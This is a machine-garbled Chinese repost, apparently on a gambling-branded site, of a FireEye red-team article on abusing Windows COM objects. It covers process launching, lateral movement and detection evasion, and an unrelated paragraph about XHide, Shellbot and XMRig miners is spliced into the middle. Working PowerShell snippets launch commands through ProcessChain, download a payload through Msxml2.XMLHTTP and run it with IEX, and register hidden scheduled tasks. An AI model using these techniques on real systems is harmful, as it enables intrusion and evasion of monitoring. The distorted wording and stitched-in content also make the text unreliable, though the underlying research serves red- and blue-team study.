红蓝匹敌攻防实战:寻觅COM对象 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

红蓝匹敌攻防实战:寻觅COM对象

申博_人物事迹 申博 207次浏览 已收录 0个评论

概述

渗入测试职员、红蓝匹敌的蓝军(进击方)、歹意行动者常常会挑选COM对象来完成横向挪动。此前,一些平安研讨职员连续针对COM对象展开研讨,包括Matt Nelson(enigma0x3)在2017年宣布了一篇关于COM对象的博客文章。个中,一些COM对象也被增加到了Empire项目中。为了提拔红蓝匹敌中蓝军的细致实践,FireEye也针对Windows 7和Windows 10操纵体系上的可用COM对象展开了研讨。我们发清楚明了几个风趣的COM对象,可以许可使命调理、无文件下载并实行、敕令实行。只管这些对象本身不是平安漏洞,但可以运用这些对象基于历程行动和启发式特性来匹敌检测。

什么是COM对象?

依据微软的说法,“Microsoft组件对象模子(COM)是一个独立于平台的、分布式的、面向对象的体系,用于建立可以交互的二进制软件组件。COM是Microsoft的OLE(复合文档)、ActiveX(支撑Internet的组件)以及其他组件的基本手艺。”

COM是在1990年代建立的,作为独立于言语的二进制互相操纵性规范,COM使得零丁的代码模块可以互相交互。这样一来,就可以在单个历程或跨历程中完成,为分布式COM(DCOM)增加序列化,许可经由历程收集举行长途历程挪用(Remote Procedure Call)。

专有名词“COM对象”指的是完成从IUnknown派生的一个或多个接口的可实行代码部份。IUnknown是一个包括3个要领的接口,支撑对象生计时期援用计数和别的接口的发明。每一个COM对象都由唯一的二进制标识符举行标识。这些128位(16字节)的全局唯一标识符一般被称为GUID。当GUID被用于标识COM对象时,它作为CLSID(类标识符)运用;当GUID被用于标识接口时,它作为IID(接口标识符)运用。一些CLSID还具有被称为ProgID的标识,该标识具有可读性。

由于COM是二进制互相操纵性规范,因而COM对象也旨在从差别言语完成并运用。只管它们一般在挪用历程的地点空间中举行实例化,然则支撑在历程外经由历程代办挪用的历程间通讯来运转它们,以至可以长途地在差别主机之间运转。

Windows注册表中包括一组键,使体系可以将CLSID映照到底层代码完成(位于DLL或EXE中),从而建立对象。

要领论

注册表项HKEY_CLASSES_ROOT\CLSID将公然罗列COM对象所需的一切信息,包括CLSID和ProgID。CLSID是与COM类对象关联的全局唯一标识符。ProgID是一个对开发者异常友爱的字符串,示意底层的CLSID。

可以运用下面的PowerShell敕令来猎取CLSID列表。

枚举HKCR下的CLSID:

New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR
Get-ChildItem -Path HKCR:\CLSID -Name | Select -Skip 1 > clsids.txt

输出类似于下面所示。

HKCR的CLSID缩略列表,输出类似于以下所示:

{0000002F-0000-0000-C000-000000000046}
{00000300-0000-0000-C000-000000000046}
{00000301-A8F2-4877-BA0A-FD2B6645FB94}
{00000303-0000-0000-C000-000000000046}
{00000304-0000-0000-C000-000000000046}
{00000305-0000-0000-C000-000000000046}
{00000306-0000-0000-C000-000000000046}
{00000308-0000-0000-C000-000000000046}
{00000309-0000-0000-C000-000000000046}
{0000030B-0000-0000-C000-000000000046}
{00000315-0000-0000-C000-000000000046}
{00000316-0000-0000-C000-000000000046}

我们可以运用CLSID列表,顺次对每一个对象举行实例化,然后罗列每一个COM对象公然的要领和属性。PowerShell公然了Get-Member cmdlet,该cmdlet可以用于轻松列出对象上的要领和属性。下面的代码展示了罗列此信息的PowerShell剧本。在我们的研讨中,倾向于运用规范用户权限,以展示在最不利的环境下进击者是怎样应用可用COM对象的。

用于罗列可用要领和属性的PowerShell Scriptlet:

$Position  = 1
$Filename = "win10-clsid-members.txt"
$inputFilename = "clsids.txt"
ForEach($CLSID in Get-Content $inputFilename) {
      Write-Output "$($Position) - $($CLSID)"
      Write-Output "------------------------" | Out-File $Filename -Append
      Write-Output $($CLSID) | Out-File $Filename -Append
      $handle = [activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))
      $handle | Get-Member | Out-File $Filename -Append
      $Position += 1
}

我们运转此剧本后,能够会发生一些有意思的副作用,比方恣意应用顺序被启动、体系凝结、剧本挂起等。经由历程封闭已启动的应用顺序,或停止天生的历程,可以处理大多数这些题目。

在具有了一切CLSID列表以及它们公然的要领和属性以后,我们就可以最先寻觅风趣的COM对象了。大多数COM效劳器(完成COM对象的代码)都是以DLL完成的,其途径存储在注册表键中,比方在InprocServer32下。这一点异常有协助,由于我们能够须要举行逆向工程,来明白未纪录的COM对象。

在Windows 7上,共罗列了8282个COM对象。在Windows 10体系,除了Windows 7已有的对象外,另有3250个新的COM对象。非Microsoft的COM对象一般会被省略,由于它们不能可靠地存在于目的及其上,这限定了这些对象在红蓝匹敌现实蓝军进击中的可用性。为了定位开发职员的计算机,我们在此项研讨中涵盖了Windows SDK中的特定Microsoft COM对象。

在取得成员后,运用基于关键字的搜刮要领疾速获得效果。在我们的研讨中,运用了以下关键字:execute(实行)、exec(实行)、spawn(派生)、launch(实行)和run(运转)。

一个例子是Windows 7上的{F1CA3CE9-57E0-4862-B35F-C55328F05F1C}COM对象(WatWeb.WatWebObject)。该COM对象公然了一个名为LaunchSystemApplication的要领,以下图所示。

WatWeb.WatWebObject要领中包括风趣的LaunchSystemApplication要领:

红蓝匹敌攻防实战:寻觅COM对象

该对象的InprocServer32条目被设置为C:\windows\system32\wat\watweb.dll,这是Microsoft的Genuine Advantage产物密钥考证体系的一部份。LaunchSystemApplication要领须要三个参数,然则这个COM对象没有细致纪录,而且须要举行逆向工程,这时候,就应该尝试从汇编代码中发掘一些线索了。

一旦C:\windows\system32\wat\watweb.dll被加载到我们最喜欢的东西(在本文中我们运用IDA Pro)中,就可以找到定义此要领的位置。荣幸的是,Microsoft已公然了调试标记,使得逆向工程越发高效。经由历程检察反汇编,LaunchSystemApplication挪用LaunchSystemApplicationInternal,正如我们所猜想的那样,挪用CreateProcess来启动应用顺序。鄙人图中的Hex-Rays反编译器伪代码中可以表现。

经由历程Hex-Rays伪代码确认由LaunchSystemApplicationInternal挪用了CreateProcessW:

红蓝匹敌攻防实战:寻觅COM对象

然则,这个COM对象是不是许可建立恣意历程呢?传递给CreateProcess的参数是由用户掌握的,而且是从传递给函数的参数派生的。然则,须要注重的是,是在CreateProcess挪用之前挪用了CWgpOobWebObjectBaseT::IsApprovedApplication。该要领的Hex-Rays伪代码以下图所示。

IsApprovedApplication要领的Hex-Rays伪代码:
红蓝匹敌攻防实战:寻觅COM对象

现实上,是依据特定形式来考证用户掌握的字符串。在这类情况下,字符串必需与slui.exe婚配。随后,用户掌握的字符串才被附加到体系途径,这意味着假如须要,可以斟酌替换真正的slui.exe来绕过搜检。但遗憾的是,Microsoft实行的考证历程限定了我们没法运用此要领作为通用的历程启动器,这类要领的实用性并非很高。

在其他场景中,代码实行异常简朴。比方,具有CLSID {E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E}的ProcessChain类在C:\Program Files (x86)\Windows Kits\10\App Certification Kit\prchauto.dll中完成。可以在不检察任何反汇编列表的情况下轻松剖析这个COM类,由于prchauto.dll包括TYPELIB资本,个中包括可以运用Oleview.exe检察的COM范例库。下图展示了ProcessChainLib的范例库,公然了CommandLine属性和Start要领。Start接收对布尔值的援用。

Oleview.exe在接口定义言语中显现的ProcessChainLib范例库:

17年的XHide被用于传播shellbot和XMRig

Trend Micro蜜罐系统检测到扫描开放端口、暴力破解弱凭证、安装门罗币加密货币挖矿和基于Perl的IRC后门作为final payload。挖坑过程使用XHide Process Faker来进行隐藏,这是一个有17年历史的开源工具用来伪造进程名。 研究人员分析发现攻击者通过发布命令到有漏洞的机器来下载和安装后门和挖矿机。安装的后门为Shellbot,可以扫描开放端口、下载文件、执行UDP洪泛攻击,并且可以远程执行shell命令。用2个payload来感染设备盈利可能性更高,因此恶意攻击者可以用shellbot和挖矿机来进行获利

红蓝匹敌攻防实战:寻觅COM对象

基于这一点,可以启动敕令,以下所示。

运用ProcessChainLib COM效劳器启动历程:

$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID("E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E"))
$handle.CommandLine = "cmd /c whoami"
$handle.Start([ref]$True)

采纳雷同的体式格局,我们对COM对象举行罗列和搜检,也有了其他值得关注的发明。

无文件下载和实行

举例来说,COM对象{F5078F35-C551-11D3-89B9-0000F81FE221}(Msxml2.XMLHTTP.3.0)公然了一个XML HTTP 3.0功用,该功用可用于下载恣意代码并实行,无需将Payload写入磁盘,而且不会触发寻觅经常使用System.Net.WebClient的划定规矩。XML HTTP 3.0对象一般用于实行AJAX要求。在这类情况下,可以运用Invoke-Expression Cmdlet(IEX)直接实行猎取的数据。

下面的示例展示了当地实行代码的历程。

不包括System.Net.WebClient的无文件下载:

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221")); $o.Open("GET", "http://127.0.0.1/payload", $False); $o.Send(); IEX $o.responseText;

使命调理

另一个例子是{0F87369F-A4E5-4CFC-BD3E-73E6154572DD},它完成了用于操纵Windows使命调理顺序效劳的Schedule.Service类。该COM对象许可特权用户在不运用schtasks.exe二进制文件或at敕令的情况下,在主机(包括长途主机)上实行计划使命。

$TaskName = [Guid]::NewGuid().ToString()
$Instance = [activator]::CreateInstance([type]::GetTypeFromProgID("Schedule.Service"))
$Instance.Connect()
$Folder = $Instance.GetFolder("\")
$Task = $Instance.NewTask(0)
$Trigger = $Task.triggers.Create(0)
$Trigger.StartBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay))
$Trigger.EndBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay   120))
$Trigger.ExecutionTimelimit = "PT5M"
$Trigger.Enabled = $True
$Trigger.Id = $Taskname
$Action = $Task.Actions.Create(0)
$Action.Path = “cmd.exe”
$Action.Arguments = “/c whoami”
$Action.HideAppWindow = $True
$Folder.RegisterTaskDefinition($TaskName, $Task, 6, "", "", 3)
 
function Convert-Date {      
 
        param(
             [datetime]$Date
 
        )      
 
        PROCESS {
               $Date.Touniversaltime().tostring("u") -replace " ","T"
        }
}

COM对象罗列

FireEye对Windows 10和Windows 7上的COM对象,以及Microsoft Office中的COM对象举行了研讨。本文之前的内容已引见了怎样罗列体系中一切COM对象,对其举行实例化,并征采值得关注的属性和要领的手艺。然则,这些只会触及经由历程这些COM对象可以接见到的外表,由于每一个对象都能够会返回没法直接建立的其他对象。

在这里,引入的更改以递归体式格局搜刮COM对象,这些对象仅经由历程每一个罗列OCM对象的成员要领和属性公然。在原始要领中,检察了每一个对象直接公然的要领,并没有递归到任何属性,这些属性也多是本身具有值得关注的要领的COM对象。针对此前要领的革新,有助于我们发明可用于代码实行的新COM对象,并协助我们发明挪用公然代码实行COM对象要领的新要领。

怎样发明递归COM对象要领

我们剖析了现在公然的一切运用COM对象实行代码的手艺,发明它们之间具有一个共同点,就是都应用了在COM对象的子属性中公然的要领。一个例子是“MMC20.Application”COM对象。要应用此COM对象完成代码实行,我们须要在“Document.ActiveView”属性返回的View对象上运用“ExecuteShellCommand”要领,正如Matt Nelson在博客文章上所写的那样。鄙人图中,我们可以看到该要领只能在“Document.ActiveView”返回的对象中被发明,而且不会被MMC20.Application COM对象直接暴露。

列出MMC20.Application COM对象中的ExecuteShellCommand要领:

红蓝匹敌攻防实战:寻觅COM对象

另一个例子是“ShellBrowserWindow”COM对象,这也是由Matt Nelson在博客文章中初次撰写的。以下图所示,“ShellExecute”要领没有直接暴露在COM对象中。然则,“Document.Application”属性返回Shell对象的实例,该实例公然ShellExecute要领。

在ShellBrowserWindow COM对象中列出ExecuteShellCommand要领:

红蓝匹敌攻防实战:寻觅COM对象

作为前两个示例的证据,主要的是不仅要检察COM对象直接公然的要领,还要递归查找具有作为COM对象属性公然的可用要领的对象。这个示例说清楚明了为何仅仅静态探究COM对象的范例库多是不够的,只要在动态罗列泛型范例IDispatch的对象后才接见相干函数。这类递归的要领可以完成查找用于代码实行的新COM对象,以及运用可用于代码实行的公然COM对象的差别要领。

运用这类递归要领,怎样找到一种挪用公然COM对象要领的新途径呢?我们可以参考“ShellBrowserWindow”COM对象中的“ShellExecute”要领。该要领在本文前面已细致申明过。之前,尽人皆知,在“ShellBrowserWindow”COM对象中挪用此要领的体式格局是运用“Document.Application”属性。经由历程递归COM对象要领,我们发明,还可以对“Document.Application.Parent”属性返回的对象挪用“ShellExecute”要领,以下图所示。从回避检测的角度来看,这能够异常有协助。

运用ShellBrowserWindow COM对象挪用ShellExecute的替换要领:

红蓝匹敌攻防实战:寻觅COM对象

敕令实行

运用这类递归COM对象要领举行探究后,我们可以找到一个ProgID为“Excel.ChartApplication”的COM对象,该对象可用于运用DDEInitiate要领实行代码。这类启动可实行文件的DDEInitiate要领首先在“Excel.Application”COM对象中被滥用,如Cybereason所写的文章所示。“Excel.ChartApplication”COM对象中有多个属性,它们返回可用于实行DDEInitiate要领的对象,以下图所示。只管这个DDEInitiate要领也是由COM对象直接公然的,但它是在最初的探究历程中被发明的,是在可以今后对象接见的其他对象中公然的要领。

运用Excel.ChartApplication COM对象挪用DDEInitiate的差别要领:

红蓝匹敌攻防实战:寻觅COM对象

该COM对象也可以实例化,并长途用于Office 2013,以下图所示。COM对象只能在Office 2016中当地实例化。当尝试长途实例化Office 2016时,将会返回错误代码,示意COM对象类未注册长途实例化。

运用Excel.ChartApplication长途进击Office 2013:

红蓝匹敌攻防实战:寻觅COM对象

总结

COM对象异常壮大,功用多样,而且与Windows集成,这也就意味着COM对象险些老是可用的。COM对象可以用于突破差别的检测形式,包括敕令行参数、PowerShell日记纪录和启发式检测。COM对象要领的递归搜刮,可以协助我们发明可用于代码实行的新COM对象,以及挪用尽人皆知COM对象要领的新思路。这些COM对象要领可用于突破差别的检测形式,也可以用于横向挪动。

原文地点: https://www.4hou.com/technology/18659.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明红蓝匹敌攻防实战:寻觅COM对象
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址